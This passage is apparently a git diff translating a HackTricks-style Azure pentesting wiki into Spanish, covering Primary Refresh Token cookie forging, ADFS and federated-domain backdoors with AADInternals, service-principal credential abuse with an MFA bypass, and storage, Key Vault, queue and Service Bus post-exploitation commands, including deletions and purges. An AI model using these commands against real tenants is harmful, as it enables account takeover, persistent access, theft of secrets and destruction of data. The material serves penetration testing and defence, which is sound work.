-#### Option 1 - Full Mimikatz +#### Opción 1 - Mimikatz completo -- Now you want to copy both the Context value: +- Ahora quieres copiar tanto el valor de Contexto:
-- And the derived key value: +- Como el valor de la clave derivada:
-- Finally you can use all this info to **generate PRT cookies**: - +- Finalmente, puedes usar toda esta información para **generar cookies PRT**: ```bash Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ``` -
-- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +- Ve a [https://login.microsoftonline.com](https://login.microsoftonline.com), borra todas las cookies para login.microsoftonline.com e ingresa una nueva cookie. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -- Then go to [https://portal.azure.com](https://portal.azure.com) +- Luego ve a [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no lo hace, deberías estar bien. -#### Option 2 - roadrecon using PRT - -- Renew the PRT first, which will save it in `roadtx.prt`: +#### Opción 2 - roadrecon usando PRT +- Renueva el PRT primero, lo que lo guardará en `roadtx.prt`: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` - -- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim. - +- Ahora podemos **solicitar tokens** utilizando el navegador interactivo con `roadtx browserprtauth`. Si usamos el comando `roadtx describe`, vemos que el token de acceso incluye un reclamo de MFA porque el PRT que utilicé en este caso también tenía un reclamo de MFA. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth ``` -
-#### Option 3 - roadrecon using derived keys - -Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with: +#### Opción 3 - roadrecon usando claves derivadas +Teniendo el contexto y la clave derivada volcada por mimikatz, es posible usar roadrecon para generar una nueva cookie firmada con: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` - -## References +## Referencias - [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) - [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index e418fb5e6..a623e0567 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,54 +2,45 @@ {{#include ../../../banners/hacktricks-training.md}} -### Illicit Consent Grant +### Concesión Ilícita de Consentimiento -By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success. +Por defecto, cualquier usuario puede registrar una aplicación en Azure AD. Así que puedes registrar una aplicación (solo para el inquilino objetivo) que necesite permisos de alto impacto con consentimiento de administrador (y aprobarlo si eres el administrador) - como enviar correos en nombre de un usuario, gestión de roles, etc. Esto nos permitirá **ejecutar ataques de phishing** que serían muy **fructíferos** en caso de éxito. -Moreover, you could also accept that application with your user as a way to maintain access over it. +Además, también podrías aceptar esa aplicación con tu usuario como una forma de mantener el acceso sobre ella. -### Applications and Service Principals +### Aplicaciones y Principales de Servicio -With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. +Con privilegios de Administrador de Aplicaciones, GA o un rol personalizado con permisos microsoft.directory/applications/credentials/update, podemos agregar credenciales (secreto o certificado) a una aplicación existente. -It's possible to **target an application with high permissions** or **add a new application** with high permissions. +Es posible **dirigir una aplicación con altos permisos** o **agregar una nueva aplicación** con altos permisos. -An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators. - -This technique also allows to **bypass MFA**. +Un rol interesante para agregar a la aplicación sería el **rol de administrador de autenticación privilegiada**, ya que permite **restablecer la contraseña** de los Administradores Globales. +Esta técnica también permite **eludir MFA**. ```powershell $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - -- For certificate based authentication - +- Para la autenticación basada en certificados ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` +### Federación - Certificado de Firma de Token -### Federation - Token Signing Certificate - -With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know. - -**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service: +Con **privilegios de DA** en AD local, es posible crear e importar **nuevos certificados de firma de token** y **certificados de descifrado de token** que tienen una validez muy larga. Esto nos permitirá **iniciar sesión como cualquier usuario** cuyo ImuutableID conozcamos. +**Ejecuta** el siguiente comando como **DA en el/los servidor(es) ADFS** para crear nuevos certificados (contraseña predeterminada 'AADInternals'), agregarlos a ADFS, deshabilitar la rotación automática y reiniciar el servicio: ```powershell New-AADIntADFSSelfSignedCertificates ``` - -Then, update the certificate information with Azure AD: - +Luego, actualiza la información del certificado con Azure AD: ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` +### Federación - Dominio de Confianza -### Federation - Trusted Domain - -With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer: - +Con privilegios de GA en un inquilino, es posible **agregar un nuevo dominio** (debe ser verificado), configurar su tipo de autenticación como Federado y configurar el dominio para **confiar en un certificado específico** (any.sts en el comando a continuación) y emisor: ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io @@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true ``` - -## References +## Referencias - [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md index 7fda7614d..ed0c83382 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md @@ -1,19 +1,18 @@ -# Az - Queue Storage Persistence +# Az - Persistencia de Almacenamiento en Cola {{#include ../../../banners/hacktricks-training.md}} -## Queue +## Cola -For more information check: +Para más información, consulta: {{#ref}} ../az-services/az-queue-enum.md {{#endref}} -### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` - -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. +### Acciones: `Microsoft.Storage/storageAccounts/queueServices/queues/write` +Este permiso permite a un atacante crear o modificar colas y sus propiedades dentro de la cuenta de almacenamiento. Se puede utilizar para crear colas no autorizadas, modificar metadatos o cambiar listas de control de acceso (ACLs) para otorgar o restringir acceso. Esta capacidad podría interrumpir flujos de trabajo, inyectar datos maliciosos, exfiltrar información sensible o manipular configuraciones de cola para habilitar ataques adicionales. ```bash az storage queue create --name --account-name @@ -21,15 +20,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Referencias - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index 95dedb925..fed026fc9 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -4,42 +4,34 @@ ## Storage Privesc -For more information about storage check: +Para más información sobre almacenamiento, consulta: {{#ref}} ../az-services/az-storage.md {{#endref}} -### Common tricks +### Trucos comunes -- Keep the access keys -- Generate SAS - - User delegated are 7 days max +- Mantener las claves de acceso +- Generar SAS +- Los usuarios delegados tienen un máximo de 7 días ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information. - +Estos permisos permiten al usuario modificar las propiedades del servicio de blobs para la función de retención de eliminación de contenedores, que habilita o configura el período de retención para contenedores eliminados. Estos permisos se pueden utilizar para mantener la persistencia y proporcionar una ventana de oportunidad para que el atacante recupere o manipule contenedores eliminados que deberían haber sido eliminados permanentemente y acceder a información sensible. ```bash az storage account blob-service-properties update \ - --account-name \ - --enable-container-delete-retention true \ - --container-delete-retention-days 100 +--account-name \ +--enable-container-delete-retention true \ +--container-delete-retention-days 100 ``` - ### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information. - +Estos permisos pueden permitir al atacante modificar las políticas de retención, restaurar datos eliminados y acceder a información sensible. ```bash az storage blob service-properties delete-policy update \ - --account-name \ - --enable true \ - --days-retained 100 +--account-name \ +--enable true \ +--days-retained 100 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index 8d020a39e..0dec930c8 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -2,28 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## VMs persistence +## Persistencia de VMs -For more information about VMs check: +Para más información sobre VMs, consulta: {{#ref}} ../az-services/vms/ {{#endref}} -### Backdoor VM applications, VM Extensions & Images +### Aplicaciones de VM de puerta trasera, extensiones de VM e imágenes -An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed. +Un atacante identifica aplicaciones, extensiones o imágenes que se utilizan con frecuencia en la cuenta de Azure, podría insertar su código en las aplicaciones y extensiones de VM para que cada vez que se instalen, se ejecute la puerta trasera. -### Backdoor Instances +### Instancias de puerta trasera -An attacker could get access to the instances and backdoor them: +Un atacante podría acceder a las instancias y ponerles una puerta trasera: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) -- Backdooring the **User Data** +- Usando un **rootkit** tradicional, por ejemplo +- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- Poniendo una puerta trasera en los **Datos del Usuario** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 53b20671b..89fba0aa7 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,6 +1 @@ -# Az - Post Exploitation - - - - - +# Az - Post Explotación diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 9c3d0b8c6..b648209a7 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Storage Privesc +## Privesc de Almacenamiento -For more information about storage check: +Para más información sobre almacenamiento, consulta: {{#ref}} ../az-services/az-storage.md @@ -12,38 +12,30 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read -A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**. - +Un principal con este permiso podrá **listar** los blobs (archivos) dentro de un contenedor y **descargar** los archivos que podrían contener **información sensible**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ - --account-name \ - --container-name --auth-mode login +--account-name \ +--container-name --auth-mode login az storage blob download \ - --account-name \ - --container-name \ - -n file.txt --auth-mode login +--account-name \ +--container-name \ +-n file.txt --auth-mode login ``` - ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write -A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob): - +Un principal con este permiso podrá **escribir y sobrescribir archivos en contenedores**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en un blob): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**. +Esto permitiría eliminar objetos dentro de la cuenta de almacenamiento, lo que podría **interrumpir algunos servicios** o hacer que el cliente **pierda información valiosa**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index b3d3cf90f..39aa9cb47 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -File Share Post Exploitation +Explotación posterior a la compartición de archivos -For more information about file shares check: +Para más información sobre las comparticiones de archivos, consulta: {{#ref}} ../az-services/az-file-shares.md @@ -12,41 +12,33 @@ For more information about file shares check: ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read -A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**. - +Un principal con este permiso podrá **listar** los archivos dentro de una compartición de archivos y **descargar** los archivos que podrían contener **información sensible**. ```bash # List files inside an azure file share az storage file list \ - --account-name \ - --share-name \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--auth-mode login --enable-file-backup-request-intent # Download an specific file az storage file download \ - --account-name \ - --share-name \ - --path \ - --dest /path/to/down \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--path \ +--dest /path/to/down \ +--auth-mode login --enable-file-backup-request-intent ``` - ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action -A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share): - +Un principal con este permiso podrá **escribir y sobrescribir archivos en comparticiones de archivos**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en una compartición de archivos): ```bash az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +Esto permitiría eliminar archivos dentro del sistema de archivos compartido, lo que podría **interrumpir algunos servicios** o hacer que el cliente **pierda información valiosa**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index e511ad994..6ae92702b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -2,20 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -## Funciton Apps Post Exploitaiton +## Función Apps Post Explotación -For more information about function apps check: +Para más información sobre las aplicaciones de función, consulta: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there: +> [!CAUTION] > **Los trucos de post explotación de las aplicaciones de función están muy relacionados con los trucos de escalada de privilegios** así que puedes encontrarlos todos allí: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index d9357b643..c6260ac46 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Para más información sobre este servicio, consulta: {{#ref}} ../az-services/keyvault.md @@ -12,27 +12,22 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/secrets/getSecret/action -This permission will allow a principal to read the secret value of secrets: - +Este permiso permitirá a un principal leer el valor secreto de los secretos: ```bash az keyvault secret show --vault-name --name # Get old version secret value az keyvault secret show --id https://.vault.azure.net/secrets// ``` - ### **Microsoft.KeyVault/vaults/certificates/purge/action** -This permission allows a principal to permanently delete a certificate from the vault. - +Este permiso permite a un principal eliminar permanentemente un certificado del almacén. ```bash az keyvault certificate purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/encrypt/action** -This permission allows a principal to encrypt data using a key stored in the vault. - +Este permiso permite a un principal cifrar datos utilizando una clave almacenada en el almacén. ```bash az keyvault key encrypt --vault-name --name --algorithm --value @@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name --name --algorithm echo "HackTricks" | base64 # SGFja1RyaWNrcwo= az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo= ``` - ### **Microsoft.KeyVault/vaults/keys/decrypt/action** -This permission allows a principal to decrypt data using a key stored in the vault. - +Este permiso permite a un principal descifrar datos utilizando una clave almacenada en el almacén. ```bash az keyvault key decrypt --vault-name --name --algorithm --value # Example az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption ``` - ### **Microsoft.KeyVault/vaults/keys/purge/action** -This permission allows a principal to permanently delete a key from the vault. - +Este permiso permite a un principal eliminar permanentemente una clave del almacén. ```bash az keyvault key purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/purge/action** -This permission allows a principal to permanently delete a secret from the vault. - +Este permiso permite a un principal eliminar permanentemente un secreto del almacén. ```bash az keyvault secret purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/setSecret/action** -This permission allows a principal to create or update a secret in the vault. - +Este permiso permite a un principal crear o actualizar un secreto en el almacén. ```bash az keyvault secret set --vault-name --name --value ``` - ### **Microsoft.KeyVault/vaults/certificates/delete** -This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged. - +Este permiso permite a un principal eliminar un certificado del almacén. El certificado se mueve al estado de "eliminación suave", donde puede ser recuperado a menos que se purgue. ```bash az keyvault certificate delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/delete** -This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged. - +Este permiso permite a un principal eliminar una clave del almacén. La clave se mueve al estado de "eliminación suave", donde puede ser recuperada a menos que se purgue. ```bash az keyvault key delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/delete** -This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged. - +Este permiso permite a un principal eliminar un secreto del almacén. El secreto se mueve al estado de "eliminación suave", donde puede ser recuperado a menos que se purgue. ```bash az keyvault secret delete --vault-name --name ``` - ### Microsoft.KeyVault/vaults/secrets/restore/action -This permission allows a principal to restore a secret from a backup. - +Este permiso permite a un principal restaurar un secreto de una copia de seguridad. ```bash az keyvault secret restore --vault-name --file ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 03c59a8d5..46ffa9190 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -4,7 +4,7 @@ ## Queue -For more information check: +Para más información, consulta: {{#ref}} ../az-services/az-queue-enum.md @@ -12,66 +12,53 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Un atacante con este permiso puede ver mensajes de una Azure Storage Queue. Esto permite al atacante ver el contenido de los mensajes sin marcarlos como procesados o alterar su estado. Esto podría llevar a un acceso no autorizado a información sensible, permitiendo la exfiltración de datos o la recopilación de inteligencia para futuros ataques. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Impacto Potencial**: Acceso no autorizado a la cola, exposición de mensajes o manipulación de la cola por usuarios o servicios no autorizados. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Con este permiso, un atacante puede recuperar y procesar mensajes de una Cola de Almacenamiento de Azure. Esto significa que pueden leer el contenido del mensaje y marcarlo como procesado, ocultándolo efectivamente de los sistemas legítimos. Esto podría llevar a la exposición de datos sensibles, interrupciones en la forma en que se manejan los mensajes, o incluso detener flujos de trabajo importantes al hacer que los mensajes no estén disponibles para sus usuarios previstos. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Con este permiso, un atacante puede agregar nuevos mensajes a una Cola de Almacenamiento de Azure. Esto les permite inyectar datos maliciosos o no autorizados en la cola, lo que podría desencadenar acciones no deseadas o interrumpir servicios posteriores que procesan los mensajes. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +Este permiso permite a un atacante agregar nuevos mensajes o actualizar los existentes en una Azure Storage Queue. Al usar esto, podrían insertar contenido dañino o alterar mensajes existentes, potencialmente engañando a las aplicaciones o causando comportamientos no deseados en los sistemas que dependen de la cola. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` -This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system. - +Este permiso permite a un atacante eliminar colas dentro de la cuenta de almacenamiento. Al aprovechar esta capacidad, un atacante puede eliminar permanentemente colas y todos sus mensajes asociados, causando una interrupción significativa en los flujos de trabajo y resultando en una pérdida crítica de datos para las aplicaciones que dependen de las colas afectadas. Esta acción también se puede utilizar para sabotear servicios al eliminar componentes esenciales del sistema. ```bash az storage queue delete --name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete` -With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue. - +Con este permiso, un atacante puede eliminar todos los mensajes de una Azure Storage Queue. Esta acción elimina todos los mensajes, interrumpiendo flujos de trabajo y causando pérdida de datos para los sistemas dependientes de la cola. ```bash az storage message clear --queue-name --account-name ``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Este permiso permite a un atacante crear o modificar colas y sus propiedades dentro de la cuenta de almacenamiento. Se puede utilizar para crear colas no autorizadas, modificar metadatos o cambiar listas de control de acceso (ACLs) para otorgar o restringir el acceso. Esta capacidad podría interrumpir flujos de trabajo, inyectar datos maliciosos, exfiltrar información sensible o manipular configuraciones de colas para habilitar ataques adicionales. ```bash az storage queue create --name --account-name @@ -79,15 +66,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Referencias - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 2fdb2dc55..009764f7b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -1,92 +1,76 @@ -# Az - Service Bus Post Exploitation +# Az - Service Bus Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Service Bus -For more information check: +Para más información, consulta: {{#ref}} ../az-services/az-servicebus-enum.md {{#endref}} -### Actions: `Microsoft.ServiceBus/namespaces/Delete` - -An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows. +### Acciones: `Microsoft.ServiceBus/namespaces/Delete` +Un atacante con este permiso puede eliminar un espacio de nombres completo de Azure Service Bus. Esta acción elimina el espacio de nombres y todos los recursos asociados, incluidas colas, temas, suscripciones y sus mensajes, causando una interrupción generalizada y pérdida de datos permanente en todos los sistemas y flujos de trabajo dependientes. ```bash az servicebus namespace delete --resource-group --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete` -An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic. - +Un atacante con este permiso puede eliminar un tema de Azure Service Bus. Esta acción elimina el tema y todas sus suscripciones y mensajes asociados, lo que puede causar la pérdida de datos críticos y interrumpir sistemas y flujos de trabajo que dependen del tema. ```bash az servicebus topic delete --resource-group --namespace-name --name ``` - ### Actions: 